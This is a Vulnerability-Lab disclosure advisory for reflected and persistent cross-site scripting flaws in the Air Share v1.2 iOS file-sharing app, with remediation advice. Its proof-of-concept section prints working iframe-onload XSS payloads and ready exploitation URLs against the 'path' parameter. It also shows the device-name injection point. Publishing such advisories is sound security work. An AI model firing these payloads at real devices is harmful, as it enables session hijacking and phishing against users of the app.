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Air Share v1.2 iOS - Multiple Cross Site Web Vulnerabilities
🗓️ 21 Apr 2020 00:00:00Reported by Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.Type 
vulnerlab🔗 www.vulnerability-lab.com👁 31 Views
Document Title:
===============
Air Share v1.2 iOS - Multiple Cross Site Web Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2204
Release Date:
=============
2020-04-21
Vulnerability Laboratory ID (VL-ID):
====================================
2204
Common Vulnerability Scoring System:
====================================
4.4
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Air Share Transfer Music, Videos, Documents, Photos or Any Files from PC / Mac to your iPhone / iPad by just Drag & Drop.
File types supported by Air Share to preview or to play. You can even use Air Share as a wireless USB drive to carry any
file type without any problem.
(Copy of the Homepage: https://apps.apple.com/de/app/air-share-wifi-file-transfer/id1126257410 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple cross site web vulnerabilities in the official Air Share v1.2 mobile ios web-application.
Affected Product(s):
====================
Dropouts Technologies LLP
Product: Air Share v1.2 (iOS) Mobile Application (+Lite Version)
Vulnerability Disclosure Timeline:
==================================
2020-04-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Open Authentication (Anonymous Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
Multiple cross site and validation web vulnerabilities has been discovered in the official Air Share v1.2 mobile ios web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent and non-persistent attack vector to
compromise client- and application-side requests of the mobile ios application.
1.1
The first vulnerability is located in the `path` parameter of the `list` and `download` exception-handling. Remote attackers are able
to inject own malicious script code to the path parameter to manipulate the error message output context of the air share ui. The request
method to inject is GET and the attack vector is located on the client-side of the mobile ios web-application. Successful exploitation of
the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source
and non-persistent manipulation of affected or connected application modules.
1.2
The second web vulnerability is located in the `devicename` parameter that is displayed on the top next to the Air Share index list.
Remote attackers are able to inject own malicious persistent script code by manipulation of the local apple devicename information.
The injection point is the devicename information and the execution point occurs in the file sharing ui panel of the air share
mobile web-application. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks,
persistent external redirects to malicious source and persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable Parameter(s):
[+] download
[+] list
Vulnerable Parameter(s):
[+] path
[+] devicename
Proof of Concept (PoC):
=======================
1.1
The non-persistent cross site web vulnerabilities can be exploited by remote attackers with wifi access and low user interaction.
For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.
PoC: Vulnerable Source
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>HTTP Error 404</title></head><body><h1>
HTTP Error 404: ">"<iframe src=a onload=alert(document.domain)>" does not exist</h1><h3></h3></body></html>
PoC: Payload
%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E
PoC: Exploitation
http://localhost/list?path=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E
http://localhost/download?path=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E
1.2
The persistent input validation web vulnerability can be exploited by local attackers with physical device control with low user interaction.
For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.
PoC: Vulnerable Source
<div class="panel-default">
<div class="panel-heading">
<ol class="breadcrumb" id="path" style="cursor:pointer;"><li class="active">[MALICIOUS EXECUTION POINT OF IOS DEVICENAME]</li></ol>
</div>
<div class="col-md-12 container" style="min-height:250px;height:100%;background-color:rgba(255,255,255,0.5);border-radius:0 0 5px 5px; margin-bottom:25px;width:100%;">
<table class="table" style="width:100%; word-break:break-word;"><tbody id="listing"><tr class="row-file">
<td class="column-icon">
Solution - Fix & Patch:
=======================
1.1
The client-side xss vulnerabilities can be patched by a secure parse and restriction to filter in the list and download the path parameter.
Secure in the exception-handling the error message output content to fully resolve the execution point of the issue.
1.2
The vulnerability can be patched by a secure sanitize and parse of the devicename values that is displayed above the main resource list.
Security Risk:
==============
The security risk of the multiple cross site scripting web vulnerabilities in the mobile wifi web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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21 Apr 2020 00:00Current
7.4High risk
Vulners AI Score7.4